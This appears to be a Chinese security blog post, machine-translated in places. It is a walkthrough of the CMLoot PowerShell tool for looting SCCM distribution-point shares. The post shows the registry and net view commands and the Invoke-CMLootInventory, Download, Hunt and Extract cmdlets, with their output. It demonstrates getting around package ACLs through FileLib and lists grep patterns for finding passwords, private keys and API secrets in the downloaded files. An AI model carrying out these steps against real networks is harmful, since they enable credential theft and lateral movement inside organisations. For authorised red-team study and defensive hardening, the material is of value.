11.SCCM介绍
Microsoft Endpoint Configuration Manager (CM),也称为System Center Configuration Manager(SCCM),被公司广泛部署以管理其Windows环境。它支持服务器和工作站的简单注册,分发软件和环境中Windows系统的通用管理。配置管理器 通常包含攻击者可用于查找允许横向移动的新攻击路径或凭据的信息。
22.管理分发点
可以通俗比喻,就是个派单点。
将内容分发到客户端的CM服务的名称。内容可以通过SMB或HTTP(S) 访问。若要查找在域客户端或服务器上配置的 CM分发点,可以读取以下注册表项 (PowerShell):
PS>(Get-ItemProperty-Path HKLM:\SOFTWARE\Microsoft\SMS\DP -Name ManagementPoints).ManagementPoints
默认情况下,CM分发点公开文件共享,其中包含要使用软件中心和操作系统部署 (OSD) 部署的操作系统映像、脚本和软件。默认共享是隐藏的,并命名为SCCMContentLib$。默认情况下,所有用户都可以读取共享,并且可以包含敏感信息,例如脚本或配置文件中的凭据、带有私钥的证书或其他可能使攻击者获得优势的信息。要查看远程计算机上的所有共享,可以使用“net view”命令:
net view \\sccm /all
33.内容库
CM Content Library(SCCMContentLibrary$ share)有一种特殊的方式来存储Microsoft在此处记录的文件。
The TLDR;是SCCMContentLib$\DataLib文件夹包含.INI文件。这.INI文件以原始文件名命名,扩展名为.INI附后。该文件包含原始文件的SHA256哈希,文件本身存储在目录SCCMContentLib$\FileLib中,格式为<文件夹名称:4个前字符的哈希>\<完整哈希作为文件名>。
44.CMLoot
为了提高效率开发此脚本进行内容获取。
CMLoot执行所有可访问 的清单。INI文件,并将其本地存储在文本文件中。然后,清单用于搜索感兴趣的文件扩展名,选择要下载的文件,CMLoot将下载文件并恢复原始文件名。
要创建清单文件,请运行Invoke-CMLootInventory:
PS>
Invoke-CMLootInventory-SCCMHost sccm01.domain.local -Outfile sccmfiles.txt [*] Inventory
created. Use Invoke-CMLootDownload-InventoryFile sccminv.txt to download files. See Get-Help
Invoke-CMLootDownloadforoptions.
脚本将获取所有.INI文件放在DataLib目录中,并将它们放在可以手动解析或由CMLoot本身解析的文本文件中。
创建清单后,可以通过多种不同的方式获取文件;单个文件、扩展名类型或使用GridSelect。警告一下,如果打开大型库存文件,GridSelect可能会耗尽RAM资源。
下载单个文件,方法是复制清单文本中的一行,然后使用-SingleFile选项运行Invoke-CMLootDownload:
PS>
Invoke-CMLootDownload -SingleFile
\\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml
Downloading
\\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml
使用-Extension选项下载具有特定文件扩展名的所有文件:
PS>
Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension
msi
Downloading
\\sccm\SCCMContentLib$\DataLib\Content_718bd807-8021-45ce-81d2-93800392b5cd.1\putty-64bit-0.76-installer.msi
Downloading
\\sccm\SCCMContentLib$\DataLib\SC100004.2\i386\client.msi
Downloading
\\sccm\SCCMContentLib$\DataLib\SC100004.2\i386\microsoftpolicyplatformsetup.msi
Already
downloaded, skipping
\\sccm\SCCMContentLib$\DataLib\SC100007.2\SMSSETUP\CLIENT\I386\CLIENT.MSI
[.....]
默认情况下,文件将下载到执行脚本的文件夹中的CMLootOut,可以使用-OutFolder参数进行更改。文件以<文件夹:文件扩展名>\<文件名的前4个字符>保存hash_original。
55.我们要找什么?
凭据
用户名/密码
Grep用于:“域”、“@domain.tld”或“密码=”
证书
查找扩展名:pfx,p12,pem,key
网络配置信息
接口密钥
Grep:“APIKEY”,“API_KEY”,“API_SECRET”或使用正则表达式查找关键数据
关于资源的信息
有用的文件共享
脚本从UNC路径获取文件,否则很难发现
Grep for :'\\'
应用程序配置
API端点/网络端口
Grep表示:“http://”、“https://”等。
硬编码凭据
.NET远程处理服务、Java序列化等
66.获取用户及密码
可以使用“管理访问帐户”功能为CM中的包设置ACL。在下面的示例中,只有组sccm_secretapp中的用户才能访问应用程序包“SecretApp”。
如果不属于该组的用户sccm_secretapp尝试访问.秘密应用程序的INI文件驻留,访问按预期被拒绝。
但是,如果该过程颠倒过来,我们转向包含实际文件的FileLib,则可以以任何域用户的身份访问该文件。还有一个.文件库中的INI文件,其中包含指向DataLib中的内容文件夹的标识符。
查找已使用ACL锁定的文件夹可能表明它们包含有趣的信息。CMLoot-Inventory将检测DataLib文件夹何时无法访问,并将对它们的引用存储在单独的文本文件(<inventoryfilename>_noaccess.txt)中。
[*]
Access to
\\sccm\SCCMContentLib$\DataLib\Content_b9894972-28e8-40b8-9231-760e9e77d5cb.1
is denied, adding to sccminv_noaccess.txt [*] Inaccessible
DataLib content detected. Use Invoke-CMLootHunt -SCCMHost sccm
-NoAccessFile sccminv_noaccess.txt to search for correlating files.
然后,可以使用Cmdlet CMLoot-Hunt 在FileLib中搜寻原始文件并下载它们。
PS>
Invoke-CMLootHunt -SCCMHost sccm -NoAccessFile
sccmfiles_noaccess.txt
[*] File
\\sccm\SCCMContentLib$\FileLib\17C1\17C14D2964BEDD94F833BDE6F951576A48ABF2F8FABE5251FAB878C1E7CC9F90
match Content_b9894972-28e8-40b8-9231-760e9e77d5cb.1. Copying to
outfolder.
CMLootHunt无法确定从FileLib复制的文件的文件扩展名,因为无法访问可以找到原始文件名的DataLib文件夹,因此文件名将是文件的SHA256。
要确定它是什么类型的文件,可以使用*nix 'file' 命令
[email protected]$
file
CMLootOut/17C14D2964BEDD94F833BDE6F951576A48ABF2F8FABE5251FAB878C1E7CC9F90
77.提取.MSI文件
.MSI文件是Windows的安装包,可以使用msiextract提取。CMLoot可以使用Invoke-CMLootExtract cmdlet 执行MSI文件的单个文件或批量提取:
PS>
Invoke-CMLootExtract -Path .\CMLootOut\msi
Processing
C:\Temp\CMLoot-main\CMLootOut\msi\129D_putty-64bit-0.76-installer.msi...
Processing
C:\Temp\CMLoot-main\CMLootOut\msi\2001_mp.msi...
Processing
C:\Temp\CMLoot-main\CMLootOut\msi\210C_windowsfirewallconfigurationprovider.msi...
Processing
C:\Temp\CMLoot-main\CMLootOut\msi\5081_mcs.msi...
[....]
文件将在包含.MSI文件的路径的子文件夹中提取。提取完成后,可以浏览.MSI文件的内容并找出它们是否包含任何有用的信息。
也可以提取单个.MSI文件。与上面的“访问控制”示例一样,提取文件并在SecretApp.exe.config文件中找到凭据。
PS>
Invoke-CMLootExtract -Path
.\CMLootOut\17C14D2964BEDD94F833BDE6F951576A48ABF2F8FABE5251FAB878C1E7CC9F90
Processing
C:\Temp\CMLoot-main\CMLootOut\17C14D2964BEDD94F833BDE6F951576A48ABF2F8FABE5251FAB878C1E7CC9F90...
CMLoot可以在这里下载:
https://github.com/1njected/CMLoot
8关注公众号
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
觉得文章对你有帮助 请转发 点赞 收藏